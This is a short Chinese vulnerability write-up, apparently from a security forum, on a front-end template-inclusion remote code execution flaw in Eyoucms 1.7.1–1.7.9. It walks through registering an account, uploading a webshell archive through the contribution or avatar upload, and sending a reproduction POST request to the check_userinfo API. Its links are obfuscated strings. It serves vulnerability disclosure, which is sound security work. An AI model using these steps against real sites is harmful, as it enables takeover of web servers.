漏洞1、Eyoucms v1.7.9-1.7.1前台模板包含rce
1、官网下载源码：7d9K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6#2M7r3c8S2N6r3g2Q4x3X3g2W2P5h3!0#2j5$3#2K6i4K6u0W2j5$3!0E0i4K6u0r3M7$3!0#2M7X3y4W2i4K6u0r3c8i4W2G2N6f1y4y4f1#2)9J5k6q4j5I4i4K6u0W2y4#2)9J5k6e0q4Q4x3X3c8g2g2p5j5^5i4K6u0V1f1#2l9I4i4K6u0W2P5X3W2H3i4@1g2r3i4@1u0o6i4K6S2o6i4@1f1%4i4K6R3&6i4K6R3^5i4@1f1$3i4K6W2o6i4@1q4o6x3g2)9J5k6e0N6Q4x3X3f1I4i4K6u0V1x3g2)9J5k6e0N6Q4x3X3f1&6i4@1f1%4i4K6R3&6i4K6R3^5i4@1f1$3i4K6W2o6i4@1q4o6i4@1f1K6i4K6R3H3i4K6R3J5
2、在C:\phpEnv\www\f9cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2&6L8%4g2U0L8i4x3I4y4K6q4Q4x3X3g2U0L8$3#2Q4y4f1y4S2M7s2m8D9K9h3y4S2N6r3W2G2L8W2)9#2b7$3q4H3K9g2)9#2b7$3y4G2L8Y4c8J5L8$3I4D9k6i4u0Q4y4f1y4p5K9i4W2S2K9X3q4^5i4K6u0W2M7r3S2H3
通过源码发现viewfiles是可控的，通过设置自己的文件进行渲染包含来执行任意代码，实现rce.

3、通过注册一个用户，然后投稿或者头像上传一张代码图片。

4、点击-注册账号

5、或者直接访问248K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2&6L8%4g2U0L8i4x3I4y4K6q4Q4x3X3g2U0L8$3#2Q4x3V1k6A6L8X3c8W2P5q4)9J5k6i4m8Z5M7q4)9K6c8X3#2Q4x3@1c8#2M7$3g2J5i4K6t1$3j5h3#2H3i4K6y4n7j5#2)9K6c8q4g2K6k6i4u0K6i4K6t1$3j5h3#2H3i4K6y4n7j5g2)9K6c8s2u0W2k6H3`.`.

6、注册一个用户名：test 密码:test123@

7、我的信息-》我要投稿-》上传图片或者附件-》上传代码马儿的test.rar。

代理捉包记得带上包头记得加上X-Requested-With: XMLHttpRequest
复现请求包：
POST /index.php?m=api&c=Diyajax&a=check_userinfo HTTP/1.1
Host: a23K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2&6L8%4g2U0L8i4x3I4y4K6q4Q4x3X3g2U0L8$3@1`.
Content-Length: 69
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Accept: text/html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: b50K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2&6L8%4g2U0L8i4x3I4y4K6q4Q4x3X3g2U0L8$3@1`.
Referer: cf6K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2&6L8%4g2U0L8i4x3I4y4K6q4Q4x3X3g2U0L8$3#2Q4x3V1k6A6L8X3c8W2P5q4)9J5k6i4m8Z5M7q4)9K6c8X3#2Q4x3@1c8#2M7$3g2J5i4K6t1$3j5h3#2H3i4K6y4n7j5#2)9K6c8q4g2K6k6i4u0K6i4K6t1$3j5h3#2H3i4K6y4n7j5g2)9K6c8r3W2F1k6r3g2^5
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pbscb9ru6u67o0fdf1fn71npv8; home_lang=cn; admin_lang=cn; referurl=http%3A%2F%2Ff4aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2&6L8%4g2U0L8i4x3I4y4K6q4Q4x3X3g2U0L8$3#2Q4x3U0f1J5c8X3W2F1k6r3g2^5i4K6u0W2M7r3S2H3i4K6y4n7 users_id=1; left_menu_2024=0
Connection: close

传播安全知识、拓宽行业人脉——看雪讲师团队等你加入！